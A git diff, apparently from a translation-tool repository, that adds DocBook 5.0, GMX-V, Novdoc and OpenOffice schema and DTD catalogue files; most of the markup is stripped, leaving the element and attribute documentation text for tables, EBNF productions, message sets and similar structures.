    + + + + + + + + + + + + + + + + + + A screen with associated areas used in callouts + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for an image object with callouts + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + The location of a callout embedded in text + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A cross reference to a co + + + + +
    +
    + + + + + + + + + + + + + + + + + + A set of EBNF productions + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A production in a set of EBNF productions + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The left-hand side of an EBNF production + + + + +
    +
    + + + + + + + + + + + + + + + The right-hand side of an EBNF production + + + + + + + + + + + +
    +
    + + + + + + Specifies a URI that points to a production +where the nonterminal + is defined + + + + + + + + + + + + + + + A non-terminal in an EBNF production + + + + +
    +
    + + + + + + + + + + + + + + + A constraint in an EBNF production + + + + +
    +
    + + + + + + + + + + + + + + + A cross-reference to an EBNF production + + + + +
    +
    + + + + + + + + + + + + + + + + + + The definition of a constraint in an EBNF production + + + + + + + +
    + + + Specifies the alignment character when align + is set to char +. + + + + + Specifies the percentage of the column's total width that should appear to the left of the first occurance of the character identified in char + when align + is set to char +. + + + + + Specifies how the table is to be framed. Note that there is no way to obtain a border on only the starting edge (left, in left-to-right writing systems) of the table. + + all + Frame all four sides of the table. In some environments with limited control over table border formatting, such as HTML, this may imply additional borders. + bottom + Frame only the bottom of the table. + none + Place no border on the table. In some environments with limited control over table border formatting, such as HTML, this may disable other borders as well. + sides + Frame the left and right sides of the table. + top + Frame the top of the table. + topbot + Frame the top and bottom of the table. + + + + + + Specifies the presence or absence of the column separator + + + + + Specifies the presence or absence of the row separator + + + + + Specifies the orientation of the table + + land + 90 degrees counter-clockwise from the rest of the text flow. + port + The same orientation as the rest of the text flow. + + + + + + Specifies the table style + + + + + Indicates whether or not the entries in the first column should be considered row headers + + firstcol + Indicates that entries in the first column of the table are functionally row headers (analogous to the way that a thead provides column headers). + norowheader + Indicates that entries in the first column have no special significance with respect to column headers. + + + + + + Specifies the horizontal alignment of text in an entry. + + center + Centered. + char + Aligned on a particular character. + justify + Left and right justified. + left + Left justified. + right + Right justified. + + + + + + Specifies the vertical alignment of text in an entry. + + bottom + Aligned on the bottom of the entry. + middle + Aligned in the middle. + top + Aligned at the top of the entry. + + + + + + Specifies a column specification by name. + + + + + Specifies a starting column by name. + + + + + Specifies a span by name. + + + + + + Specifies a starting column by name. + + + Specifies an ending column by name. + + + + + + + + + + + + + + Provides a name for a column specification. + + + + + Provides a name for a span specification. + + +
    + + + + + + Additional style information for downstream processing; typically the name of a style. + + + + + The number of columns in the table. Must be an integer greater than zero. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A wrapper for the main content of a table, or part of a table + + + + + + + + + + + + + + + + +
    +
    + + + + + + The number of the column to which this specification applies. Must be greater than any preceding column number. Defaults to one more than the number of the preceding column, if there is one, or one. + + + + + + Specifies the width of the column. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Specifications for a column in a table + + + + +
    +
    + + + + + + Specifies a starting column by name. + + + + + Specifies an ending column by name. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Formatting information for a spanned column in a table + + + + +
    +
    + + + + + + + + + + + + + + + + + + A table header consisting of one or more rows + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A table footer consisting of one or more rows + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for the rows of a table or informal table + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A row in a table + + + + + + + + + +
    +
    + + + + + + Specifies the number of additional rows which this entry occupies. Defaults to zero. + + + + + + Specifies the rotation of this entry. FIXME: what are the legal values of this attribute? + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A cell in a table + + + + + + + + + + + +
    +
    + + + + + + Additional style information for downstream processing; typically the name of a style. + + + + + The number of columns in the entry table. Must be an integer greater than zero. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A subtable appearing in place of an Entry in a table + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A table header consisting of one or more rows + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for the rows of a table or informal table + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A row in a table + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Indicates if the short or long title should be used in a List of Tables + + 0 + Indicates that the full title should be used. + 1 + Indicates that the short short title (titleabbrev) should be used. + + + + + + Indicates if the table should appear in a List of Tables + + 0 + Indicates that the table should not occur in the List of Tables. + 1 + Indicates that the table should appear in the List of Tables. + + + + + + + + + + + + + + A formal table in a document + + + example must not occur in the descendants of table + + + + + figure must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + caution must not occur in the descendants of table + + + + + important must not occur in the descendants of table + + + + + note must not occur in the descendants of table + + + + + tip must not occur in the descendants of table + + + + + warning must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + informaltable must not occur in the descendants of table + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A table without a title + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + This attribute assigns a class name or set of class names to an element. Any number of elements may be assigned the same class name or names. Multiple class names must be separated by white space characters. + + + + + This attribute specifies style information for the current element. + + + + + This attribute offers advisory information about the element for which it is set. + + + + + + + + This attribute specifies the base language of an element's attribute values and text content. The default value of this attribute is unknown. + + + + + + + + Occurs when the pointing device button is clicked over an element. + + + + + Occurs when the pointing device button is double clicked over an element. + + + + + Occurs when the pointing device button is pressed over an element. + + + + + Occurs when the pointing device button is released over an element. + + + + + Occurs when the pointing device is moved onto an element. + + + + + Occurs when the pointing device is moved while it is over an element. + + + + + Occurs when the pointing device is moved away from an element. + + + + + Occurs when a key is pressed and released over an element. + + + + + Occurs when a key is pressed down over an element. + + + + + Occurs when a key is released over an element. + + + + + + + + + + + + + + + + + Specifies the alignment of data and the justification of text in a cell. + + left + Left-flush data/Left-justify text. This is the default value for table data. + center + Center data/Center-justify text. This is the default value for table headers. + right + Right-flush data/Right-justify text. + justify + Double-justify text. + char + Align text around a specific character. If a user agent doesn't support character alignment, behavior in the presence of this value is unspecified. + + + + + + This attribute specifies a single character within a text fragment to act as an axis for alignment. The default value for this attribute is the decimal point character for the current language as set by the lang attribute (e.g., the period in English and the comma in French). User agents are not required to support this attribute. + + + + + When present, this attribute specifies the offset to the first occurrence of the alignment character on each line. If a line doesn't include the alignment character, it should be horizontally shifted to end at the alignment position. When charoff is used to set the offset of an alignment character, the direction of offset is determined by the current text direction (set by the dir attribute). In left-to-right texts (the default), offset is from the left margin. In right-to-left texts, offset is from the right margin. User agents are not required to support this attribute. + + + + + + + + Specifies the vertical position of data within a cell. + + top + Cell data is flush with the top of the cell. + middle + Cell data is centered vertically within the cell. This is the default value. + bottom + Cell data is flush with the bottom of the cell. + baseline + All cells in the same row as a cell whose valign attribute has this value should have their textual data positioned so that the first text line occurs on a baseline common to all cells in the row. This constraint does not apply to subsequent text lines in these cells. + + + + + + + + + Provides a summary of the table's purpose and structure for user agents rendering to non-visual media such as speech and Braille. + + + + + Specifies the desired width of the entire table and is intended for visual user agents. When the value is a percentage value, the value is relative to the user agent's available horizontal space. In the absence of any width specification, table width is determined by the user agent. + + + + + Specifies the width (in pixels only) of the frame around a table. + + + + + Specifies which sides of the frame surrounding a table will be visible. + + void + No sides. This is the default value. + above + The top side only. + below + The bottom side only. + hsides + The top and bottom sides only. + lhs + The left-hand side only. + rhs + The right-hand side only. + vsides + The right and left sides only. + box + All four sides. + border + All four sides. + + + + + + Specifies which rules will appear between cells within a table. The rendering of rules is user agent dependent. + + none + No rules. This is the default value. + groups + Rules will appear between row groups (see thead, tfoot, and tbody) and column groups (see colgroup and col) only. + rows + Rules will appear between rows only. + cols + Rules will appear between columns only. + all + Rules will appear between all rows and columns. + + + + + + Specifies how much space the user agent should leave between the left side of the table and the left-hand side of the leftmost column, the top of the table and the top side of the topmost row, and so on for the right and bottom of the table. The attribute also specifies the amount of space to leave between cells. + + + + + Specifies the amount of space between the border of the cell and its contents. If the value of this attribute is a pixel length, all four margins should be this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins should be equally separated from the content based on a percentage of the available vertical space, and the left and right margins should be equally separated from the content based on a percentage of the available horizontal space. + + + + + + + + + Provides an abbreviated form of the cell's content and may be rendered by user agents when appropriate in place of the cell's content. Abbreviated names should be short since user agents may render them repeatedly. For instance, speech synthesizers may render the abbreviated headers relating to a particular cell before rendering that cell's content. + + + + + This attribute may be used to place a cell into conceptual categories that can be considered to form axes in an n-dimensional space. User agents may give users access to these categories (e.g., the user may query the user agent for all cells that belong to certain categories, the user agent may present a table in the form of a table of contents, etc.). Please consult an HTML reference for more details. + + + + + Specifies the list of header cells that provide header information for the current data cell. The value of this attribute is a space-separated list of cell names; those cells must be named by setting their id attribute. Authors generally use the headers attribute to help non-visual user agents render header information about data cells (e.g., header information is spoken prior to the cell data), but the attribute may also be used in conjunction with style sheets. + + + + + Specifies the set of data cells for which the current header cell provides header information. This attribute may be used in place of the headers attribute, particularly for simple tables. + + row + The current cell provides header information for the rest of the row that contains it + col + The current cell provides header information for the rest of the column that contains it. + rowgroup + The header cell provides header information for the rest of the row group that contains it. + colgroup + The header cell provides header information for the rest of the column group that contains it. + + + + + + Specifies the number of rows spanned by the current cell. The default value of this attribute is one (1 +). The value zero (0 +) means that the cell spans all rows from the current row to the last row of the table section (thead +, tbody +, or tfoot +) in which the cell is defined. + + + + + Specifies the number of columns spanned by the current cell. The default value of this attribute is one (1 +). The value zero (0 +) means that the cell spans all columns from the current column to the last column of the column group (colgroup +) in which the cell is defined. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + A formal table in a document + + + example must not occur in the descendants of table + + + + + figure must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + caution must not occur in the descendants of table + + + + + important must not occur in the descendants of table + + + + + note must not occur in the descendants of table + + + + + tip must not occur in the descendants of table + + + + + warning must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + informaltable must not occur in the descendants of table + + + + + + +
    +
    + + + + + + + + + A table without a title + + + + +
    +
    + + + + + + A caption + + + example must not occur in the descendants of caption + + + + + figure must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + caution must not occur in the descendants of caption + + + + + important must not occur in the descendants of caption + + + + + note must not occur in the descendants of caption + + + + + tip must not occur in the descendants of caption + + + + + warning must not occur in the descendants of caption + + + + + sidebar must not occur in the descendants of caption + + + + + task must not occur in the descendants of caption + + + + + + +
    +
    + + + + + + This attribute, whose value must be an integer > 0, specifies the number of columns spanned + by the col + element; the col + element shares its attributes with all the columns it spans. The default value for this attribute is 1 (i.e., a single column). If the span attribute is set to N > 1, the current col + element shares its attributes with the next N-1 columns. + + + + + Specifies a default width for each column spanned by the current col + element. It has the same meaning as the width + attribute for the colgroup + element and overrides it. + + + + + + + + + Specifications for a column in an HTML table + + + + +
    +
    + + + + + + This attribute, which must be an integer > 0, specifies the number of columns in a column group. In the absence of a span attribute, each colgroup + defines a column group containing one column. If the span attribute is set to N > 0, the current colgroup + element defines a column group containing N columns. User agents must ignore this attribute if the colgroup + element contains one or more col + elements. + + + + + This attribute specifies a default width for each column in the current column group. In addition to the standard pixel, percentage, and relative values, this attribute allows the special form 0* + (zero asterisk) which means that the width of the each column in the group should be the minimum width necessary to hold the column's contents. This implies that a column's entire contents must be known before its width may be correctly computed. Authors should be aware that specifying 0* + will prevent visual user agents from rendering a table incrementally. This attribute is overridden for any column in the column group whose width is specified via a col + element. + + + + + + + + + A group of columns in an HTML table + + + + + + +
    +
    + + + + + + + + + + A table header consisting of one or more rows + + + + + + +
    +
    + + + + + + + + + + A table footer consisting of one or more rows + + + + + + +
    +
    + + + + + + + + + + A wrapper for the rows of a table or informal table + + + + + + +
    +
    + + + + + + + + + + A row in an HTML table + + + + + + + + + +
    +
    + + + + + + + + + + + A table header entry in an HTML table + + + + + + + + + + + +
    +
    + + + + + + + + + + + A table entry in an HTML table + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A detailed set of messages, usually error messages + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A wrapper for an entry in a message set + + + + + + + + + + + + +
    +
    + + + + + + The audience to which the message relevant + + + + + The origin of the message + + + + + The level of importance or severity of a message + + + + + + + + + + + + + + + + + A wrapper for a simpler entry in a message set + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A message in a message set + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + The primary component of a message in a message set + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A subcomponent of a message in a message set + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A related component of a message in a message set + + + + + +
    +
    + + + + + + + + + + + + + + + The actual text of a message component in a message set + + + + + + +
    +
    + + + + + + + + + + + + + + + Information about a message in a message set + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The level of importance or severity of a message in a message set + + + + +
    +
    + + + + + + + + + + + + + + + The origin of a message in a message set + + + + +
    +
    + + + + + + + + + + + + + + + The audience to which a message in a message set is relevant + + + + +
    +
    + + + + + + + + + + + + + + + + + + Explanatory material relating to a message in a message set + + + + + + + +
    +
    + + + + + + none + No labels + number + Numeric labels + qanda + "Q:" and "A:" labels + + + + + Specifies the default labelling + + + + + + + + + + + + + + + + + + + + + A question-and-answer set + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A titled division in a QandASet + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A question/answer set within a QandASet + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A question in a QandASet + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An answer to a question posed in a QandASet + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A label on a Question or Answer + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A displayed mathematical equation + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A displayed mathematical equation without a title + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A mathematical equation or expression occurring inline + + + + + + + +
    +
    + + + + + + + + + + + + + + + A mathematical phrase, an expression that can be represented with ordinary text and a small amount of markup + + + + + + + + + + +
    +
    + + + Any element from the MathML namespace + + + + + + + + + + +
    +
    + + + Any element from the SVG namespace + + + + + + + + + + +
    +
    + + + + + [^#]+ + + + + + + + xml + text + + + + + + + + + + + + + + + + + + + An XInclude + + + + + + +
    +
    + + + + An XInclude fallback + + + + + + + + + + + + + +
    +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/xlink.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/xlink.xsd new file mode 100644 index 0000000..ff9a7c1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/xlink.xsd @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/xml.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/xml.xsd new file mode 100644 index 0000000..c6e9c46 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/xml.xsd @@ -0,0 +1,13 @@ + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/gmx-v/gmx-v.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/gmx-v/gmx-v.dtd new file mode 100644 index 0000000..0dff4fc --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/gmx-v/gmx-v.dtd @@ -0,0 +1,139 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/gmx-v/gmx-v.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/gmx-v/gmx-v.xsd new file mode 100644 index 0000000..61b98b0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/gmx-v/gmx-v.xsd @@ -0,0 +1,213 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/XLFExtension.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/XLFExtension.xsd new file mode 100644 index 0000000..1d8159e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/XLFExtension.xsd @@ -0,0 +1,36 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/configuration.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/configuration.dtd new file mode 100644 index 0000000..02ec5a2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/configuration.dtd @@ -0,0 +1,53 @@ + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/doctrans.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/doctrans.dtd new file mode 100644 index 0000000..4ca70c0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/doctrans.dtd @@ -0,0 +1,491 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/doctransconf.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/doctransconf.dtd new file mode 100644 index 0000000..35c4b21 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/doctransconf.dtd @@ -0,0 +1,239 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/helpsystem.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/helpsystem.dtd new file mode 100644 index 0000000..956e513 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/heartsome/helpsystem.dtd @@ -0,0 +1,29 @@ + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/idiom/asset.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/idiom/asset.xsd new file mode 100644 index 0000000..513912b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/idiom/asset.xsd @@ -0,0 +1,255 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/novdoc/entity-decl.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/novdoc/entity-decl.ent new file mode 100644 index 0000000..658af56 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/novdoc/entity-decl.ent @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +root'> + +&xfree;"> + + + + + + + + + +Start-up Guide"> +Architecture-specific Information"> +Administration Guide"> +User Guide"> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/novdoc/novdocx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/novdoc/novdocx.dtd new file mode 100644 index 0000000..cbe0b67 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/novdoc/novdocx.dtd @@ -0,0 +1,613 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/chart.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/chart.mod new file mode 100644 index 0000000..7d9cf19 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/chart.mod @@ -0,0 +1,290 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/datastyl.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/datastyl.mod new file mode 100644 index 0000000..9371905 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/datastyl.mod @@ -0,0 +1,234 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/defs.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/defs.mod new file mode 100644 index 0000000..54f1af9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/defs.mod @@ -0,0 +1,84 @@ + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/drawing.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/drawing.mod new file mode 100644 index 0000000..6f6a7e0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/drawing.mod @@ -0,0 +1,886 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/dtypes.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/dtypes.mod new file mode 100644 index 0000000..1d112f7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/dtypes.mod @@ -0,0 +1,171 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/form.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/form.mod new file mode 100644 index 0000000..db6ca6c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/form.mod @@ -0,0 +1,340 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/meta.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/meta.mod new file mode 100644 index 0000000..3cd292f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/meta.mod @@ -0,0 +1,118 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/nmspace.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/nmspace.mod new file mode 100644 index 0000000..8a0e914 --- /dev/null +++ 